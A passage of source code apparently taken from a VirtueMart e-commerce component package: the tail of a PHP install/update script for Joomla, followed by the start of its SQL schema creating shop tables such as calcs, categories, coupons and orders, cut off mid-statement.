`#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`) VALUES (NULL, 1, '-default-', 'This is the default shopper group.', 1, 1);"; $this->_db->setQuery($q); $this->_db->query(); } $q = 'SELECT `virtuemart_shoppergroup_id` FROM `#__virtuemart_shoppergroups` WHERE `default` = "2" '; $this->_db->setQuery($q); $res = $this->_db ->loadResult(); if(empty($res)){ $q = "INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`) VALUES (NULL, 1, '-anonymous-', 'Shopper group for anonymous shoppers', 2, 1);"; $this->_db->setQuery($q); $this->_db->query(); } } private function changeShoppergroupDataSetAnonShopperToOne(){ if(empty($this->_db)) $this->_db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_shoppergroups` WHERE virtuemart_shoppergroup_id = "1" '; $this->_db->setQuery($q); $sgroup = $this->_db->loadAssoc(); if($sgroup['default']!=2){ if(!class_exists('TableShoppergroups')) require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.'shoppergroups.php'); $table = new TableShoppergroups($this->_db); $stdgroup = null; $stdgroup = array('virtuemart_shoppergroup_id' => 1, 'virtuemart_vendor_id' => 1, 'shopper_group_name' => '-anonymous-', 'shopper_group_desc' => 'Shopper group for anonymous shoppers', 'default' => 2, 'published' => 1, 'shared' => 1 ); $table -> bindChecknStore($stdgroup); $sgroup['virtuemart_shoppergroup_id'] = 0; $table = new TableShoppergroups($this->_db); $table -> bindChecknStore($sgroup); vmdebug('changeShoppergroupDataSetAnonShopperToOne $table',$table); } } private function joomlaSessionDBToMediumText(){ if(version_compare(JVERSION,'1.6.0','ge')) { $fields = array('data'=>'`data` mediumtext NULL AFTER `time`'); $this->alterTable('#__session',$fields); } } /** * Uninstall script * Triggers before database processing * * @param object JInstallerComponent parent * @return boolean True on success */ public function uninstall ($parent=null) { if(empty($this->path)){ $this->path = JPATH_VM_ADMINISTRATOR; } //$this->loadVm(); include($this->path.DS.'install'.DS.'uninstall.virtuemart.html.php'); return true; } /** * Post-process method (e.g. footer HTML, redirect, etc) * * @param string Process type (i.e. install, uninstall, update) * @param object JInstallerComponent parent */ public function postflight ($type, $parent=null) { //We want disable the redirect in the installation process if ($type != 'uninstall') { $this->loadVm(); // VmConfig::loadConfig(true); //if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'config.php'); $res = VirtueMartModelConfig::checkConfigTableExists(); //if($res){ JRequest::setVar(JUtility::getToken(), '1', 'post'); $config = JModel::getInstance('config', 'VirtueMartModel'); $config->setDangerousToolsOff(); //} } $_REQUEST['install'] = 0; //Test if vm1.1 is installed and rename file to avoid conflicts if(JFile::exists(JPATH_VM_ADMINISTRATOR.DS.'toolbar.php')){ JFile::move('toolbar.php','toolbar.vm1.php',JPATH_VM_ADMINISTRATOR); } //Prevents overwriting existing file. // if(!JFile::exists(JPATH_VM_ADMINISTRATOR.DS.'virtuemart_defaults.cfg')){ // JFile::copy('virtuemart_defaults.cfg-dist','virtuemart_defaults.cfg',JPATH_VM_ADMINISTRATOR); // } return true; } /** * copy all $src to $dst folder and remove it * * @author Max Milbers * @param String $src path * @param String $dst path * @param String $type modules, plugins, languageBE, languageFE */ private function recurse_copy($src,$dst ) { $dir = opendir($src); $this->createIndexFolder($dst); if(is_resource($dir)){ while(false !== ( $file = readdir($dir)) ) { if (( $file != '.' ) && ( $file != '..' )) { if ( is_dir($src .DS. $file) ) { $this->recurse_copy($src .DS. $file,$dst .DS. $file); } else { if(JFile::exists($dst .DS. $file)){ if(!JFile::delete($dst .DS. $file)){ $app = JFactory::getApplication(); $app -> enqueueMessage('Couldnt delete '.$dst .DS. $file); } } if(!JFile::move($src .DS. $file,$dst .DS. $file)){ $app = JFactory::getApplication(); $app -> enqueueMessage('Couldnt move '.$src .DS. $file.' to '.$dst .DS. $file); } } } } closedir($dir); if (is_dir($src)) JFolder::delete($src); } else { $app = JFactory::getApplication(); $app -> enqueueMessage('Couldnt read dir '.$dir.' source '.$src); } } /** * The param update IS used in the layout, do not remove * @param $update */ public function displayFinished($update){ include(JPATH_VM_ADMINISTRATOR.'/views/updatesmigration/tmpl/insfinished.php'); } } /** * Legacy j1.5 function to use the 1.6 class install/update * * @return boolean True on success * @deprecated */ function com_install() { $vmInstall = new com_virtuemartInstallerScript(); $upgrade = $vmInstall->checkIfUpdate(); if(version_compare(JVERSION,'1.6.0','ge')) { // Joomla! 1.6 code here } else { // Joomla! 1.5 code here $method = ($upgrade) ? 'update' : 'install'; $vmInstall->$method(); $vmInstall->postflight($method); } /* if ((JVM_VERSION===1)) { $method = ($upgrade) ? 'update' : 'install'; $vmInstall->$method(); $vmInstall->postflight($method); }*/ return true; } /** * Legacy j1.5 function to use the 1.6 class uninstall * * @return boolean True on success * @deprecated */ function com_uninstall() { $vmInstall = new com_virtuemartInstallerScript(); // $vmInstall->preflight('uninstall'); if(version_compare(JVERSION,'1.6.0','ge')) { // Joomla! 1.6 code here } else { $vmInstall->uninstall(); $vmInstall->postflight('uninstall'); } /* if (JVM_VERSION===1) { $vmInstall->uninstall(); $vmInstall->postflight('uninstall'); }*/ return true; } } // if(defined) // pure php no tag PKsl>\&'Qcom_virtuemart_update/administrator/components/com_virtuemart/install/install.sqlnuW+A-- VirtueMart table SQL script -- This will install all the tables need to run VirtueMart -- -- Table structure for table `#__virtuemart_adminmenuentries` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_adminmenuentries` ( `id` tinyint(1) unsigned NOT NULL AUTO_INCREMENT, `module_id` tinyint(10) unsigned NOT NULL DEFAULT '0' COMMENT 'The ID of the VM Module, this Item is assigned to', `parent_id` tinyint(11) unsigned NOT NULL DEFAULT '0', `name` char(64) NOT NULL DEFAULT '0', `link` char(64) NOT NULL DEFAULT '0', `depends` char(64) NOT NULL DEFAULT '' COMMENT 'Names of the Parameters, this Item depends on', `icon_class` char(96), `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `tooltip` char(128), `view` char(32), `task` char(32), PRIMARY KEY (`id`), KEY `module_id` (`module_id`), KEY `published` (`published`), KEY `ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Administration Menu Items' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calcs` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calcs` ( `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1' COMMENT 'Belongs to vendor', `calc_jplugin_id` int(11) NOT NULL DEFAULT '0', `calc_name` char(64) NOT NULL DEFAULT '' COMMENT 'Name of the rule', `calc_descr` char(128) NOT NULL DEFAULT '' COMMENT 'Description', `calc_kind` char(16) NOT NULL DEFAULT '' COMMENT 'Discount/Tax/Margin/Commission', `calc_value_mathop` char(8) NOT NULL DEFAULT '' COMMENT 'the mathematical operation like (+,-,+%,-%)', `calc_value` decimal(10,4) NOT NULL DEFAULT '0.0000' COMMENT 'The Amount', `calc_currency` smallint(1) UNSIGNED NOT NULL DEFAULT '0' COMMENT 'Currency of the Rule', `calc_shopper_published` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'Visible for Shoppers', `calc_vendor_published` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'Visible for Vendors', `publish_up` datetime NOT NULL DEFAULT '0000-00-00 00:00:00' COMMENT 'Startdate if nothing is set = permanent', `publish_down` datetime NOT NULL DEFAULT '0000-00-00 00:00:00' COMMENT 'Enddate if nothing is set = permanent', `for_override` tinyint(1) NOT NULL DEFAULT '0', `calc_params` varchar(18000), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_calc_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`), KEY `idx_calc_kind` (`calc_kind`), KEY `i_shared` (`shared`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_categories` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_category_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_manufacturers` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_manufacturer_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_manufacturer_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_shoppergroups` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_countries` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_countries` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_country_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_states` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_states` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_state_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_categories` ( `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `category_template` char(128), `category_layout` char(64), `category_product_layout` char(64), `products_per_row` tinyint(2), `limit_list_step` char(32), `limit_list_initial` smallint(1) UNSIGNED, `hits` int(1) unsigned NOT NULL DEFAULT '0', `metarobot` char(40) NOT NULL DEFAULT '', `metaauthor` char(64) NOT NULL DEFAULT '', `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_category_id`), KEY `idx_category_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`), KEY `i_shared` (`shared`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Product Categories are stored here' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_category_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_category_categories` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `category_parent_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `category_child_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY (`category_child_id`), KEY `ordering` (`ordering`), UNIQUE KEY `i_category_parent_id` (`category_parent_id`,`category_child_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Category child-parent relation list'; -- -- Table structure for table `#__virtuemart_category_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_category_medias` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY `ordering` (`ordering`), UNIQUE KEY `i_virtuemart_category_id` (`virtuemart_category_id`,`virtuemart_media_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_countries` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_countries` ( `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_worldzone_id` tinyint(11) NOT NULL DEFAULT '1', `country_name` char(64), `country_3_code` char(3), `country_2_code` char(2), `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_country_id`), KEY `idx_country_3_code` (`country_3_code`), KEY `idx_country_2_code` (`country_2_code`), KEY `ordering` (`ordering`), KEY `published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Country records' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_coupons` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_coupons` ( `virtuemart_coupon_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `coupon_code` char(32) NOT NULL DEFAULT '', `percent_or_total` enum('percent','total') NOT NULL DEFAULT 'percent', `coupon_type` enum('gift','permanent') NOT NULL DEFAULT 'gift', `coupon_value` decimal(15,5) NOT NULL DEFAULT '0.00000', `coupon_start_date` datetime, `coupon_expiry_date` datetime, `coupon_value_valid` decimal(15,5) NOT NULL DEFAULT '0.00000', `coupon_used` varchar(200) NOT NULL DEFAULT '', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_coupon_id`), KEY `idx_coupon_code` (`coupon_code`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Used to store coupon codes' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_currencies` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_currencies` ( `virtuemart_currency_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `currency_name` char(64), `currency_code_2` char(2), `currency_code_3` char(3), `currency_numeric_code` int(4), `currency_exchange_rate` decimal(10,5), `currency_symbol` char(4), `currency_decimal_place` char(4), `currency_decimal_symbol` char(4), `currency_thousands` char(4), `currency_positive_style` char(64), `currency_negative_style` char(64), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '1', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_currency_id`), KEY `ordering` (`ordering`), KEY `published` (`published`), KEY `shared` (`shared`), KEY `virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_currency_code_3` (`currency_code_3`), KEY `idx_currency_numeric_code` (`currency_numeric_code`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Used to store currencies'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_customs` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_customs` ( `virtuemart_custom_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `custom_parent_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_vendor_id` smallint(1) NOT NULL DEFAULT '1', `custom_jplugin_id` int(11) NOT NULL DEFAULT '0', `custom_element` char(50) NOT NULL DEFAULT '', `admin_only` tinyint(1) NOT NULL DEFAULT '0' COMMENT '1:Display in admin only', `custom_title` char(255) NOT NULL DEFAULT '' COMMENT 'field title', `show_title` tinyint(1) NOT NULL DEFAULT '1', `custom_tip` char(255) NOT NULL DEFAULT '' COMMENT 'tip', `custom_value` char(255) COMMENT 'defaut value', `custom_field_desc` char(255) COMMENT 'description or unit', `field_type` char(1) NOT NULL DEFAULT '0' COMMENT 'S:string,I:int,P:parent, B:bool,D:date,T:time,H:hidden', `is_list` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'list of values', `is_hidden` tinyint(1) NOT NULL DEFAULT '0' COMMENT '1:hidden', `is_cart_attribute` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'Add attributes to cart', `layout_pos` char(24) COMMENT 'Layout Position', `custom_params` text, `shared` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'valide for all vendors?', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_custom_id`), KEY `i_custom_parent_id` (`custom_parent_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_custom_element` (`custom_element`), KEY `idx_field_type` (`field_type`), KEY `i_is_cart_attribute` (`is_cart_attribute`), KEY `i_shared` (`shared`), KEY `i_published` (`published`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='custom fields definition' AUTO_INCREMENT=1 ; CREATE TABLE IF NOT EXISTS `#__virtuemart_invoices` ( `virtuemart_invoice_id` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `virtuemart_order_id` int(1) UNSIGNED, `invoice_number` char(64), `order_status` char(2), `xhtml` text, `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_invoice_id`), UNIQUE KEY `idx_invoice_number` (`invoice_number`,`virtuemart_vendor_id`), KEY `idx_virtuemart_order_id` (`virtuemart_order_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='custom fields definition' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_manufacturers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_manufacturers` ( `virtuemart_manufacturer_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_manufacturercategories_id` int(11), `hits` int(11) unsigned NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_manufacturer_id`), KEY `published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Manufacturers are those who deliver products' AUTO_INCREMENT=1 ; -- -- Table structure for table `#__virtuemart_manufacturer_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_manufacturer_medias` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_manufacturer_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY `ordering` (`ordering`), UNIQUE KEY `i_virtuemart_manufacturer_id` (`virtuemart_manufacturer_id`,`virtuemart_media_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_manufacturercategories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_manufacturercategories` ( `virtuemart_manufacturercategories_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_manufacturercategories_id`), KEY `published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Manufacturers are assigned to these categories' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_medias` (was `#__virtuemart_product_files`) -- CREATE TABLE IF NOT EXISTS `#__virtuemart_medias` ( `virtuemart_media_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) NOT NULL DEFAULT '1', `file_title` char(126) NOT NULL DEFAULT '', `file_description` char(254) NOT NULL DEFAULT '', `file_meta` char(254) NOT NULL DEFAULT '', `file_mimetype` char(64) NOT NULL DEFAULT '', `file_type` char(32) NOT NULL DEFAULT '', `file_url` varchar(900) NOT NULL DEFAULT '', `file_url_thumb` varchar(900) NOT NULL DEFAULT '', `file_is_product_image` tinyint(1) NOT NULL DEFAULT '0', `file_is_downloadable` tinyint(1) NOT NULL DEFAULT '0', `file_is_forSale` tinyint(1) NOT NULL DEFAULT '0', `file_params` varchar(17500), `file_lang` varchar(500) NOT NULL, `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_media_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`), KEY `i_shared` (`shared`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Additional Images and Files which are assigned to products' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_migration_oldtonew_ids` (only used for migration) -- CREATE TABLE IF NOT EXISTS `#__virtuemart_migration_oldtonew_ids` ( `id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `cats` longblob, `catsxref` blob, `manus` longblob, `mfcats` blob, `shoppergroups` longblob, `products` longblob, `products_start` int(1), `orderstates` blob, `orders` longblob, `attributes` longblob, `relatedproducts` longblob, `orders_start` int(1), PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='xref table for vm1 ids to vm2 ids' ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_modules` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_modules` ( `module_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `module_name` char(255), `module_description` varchar(21000), `module_perms` char(255), `published` tinyint(1) NOT NULL DEFAULT '1', `is_admin` enum('0','1') NOT NULL DEFAULT '0', `ordering` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`module_id`), KEY `idx_module_name` (`module_name`), KEY `idx_module_ordering` (`ordering`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='VirtueMart Core Modules, not: Joomla modules' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_orders` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_orders` ( `virtuemart_order_id` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `order_number` char(64), `customer_number` char(32), `order_pass` char(8), `order_total` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_salesPrice` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_billTaxAmount` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_billTax` varchar(400), `order_billDiscountAmount` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_discountAmount` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_subtotal` decimal(15,5), `order_tax` decimal(10,5), `order_shipment` decimal(10,2), `order_shipment_tax` decimal(10,5), `order_payment` decimal(10,2), `order_payment_tax` decimal(10,5), `coupon_discount` decimal(12,2) NOT NULL DEFAULT '0.00', `coupon_code` char(32), `order_discount` decimal(12,2) NOT NULL DEFAULT '0.00', `order_currency` smallint(1), `order_status` char(1), `user_currency_id` smallint(1), `user_currency_rate` DECIMAL(10,5) NOT NULL DEFAULT '1.00000', `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED, `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED, `customer_note` varchar(20000), `delivery_date` varchar(200), `order_language` char(7), `ip_address` char(15) NOT NULL DEFAULT '', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_id`), KEY `idx_orders_virtuemart_user_id` (`virtuemart_user_id`), KEY `idx_orders_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_orders_order_number` (`order_number`), KEY `idx_orders_virtuemart_paymentmethod_id` (`virtuemart_paymentmethod_id`), KEY `idx_orders_virtuemart_shipmentmethod_id` (`virtuemart_shipmentmethod_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Used to store all orders' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_histories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_histories` ( `virtuemart_order_history_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_order_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `order_status_code` char(1) NOT NULL DEFAULT 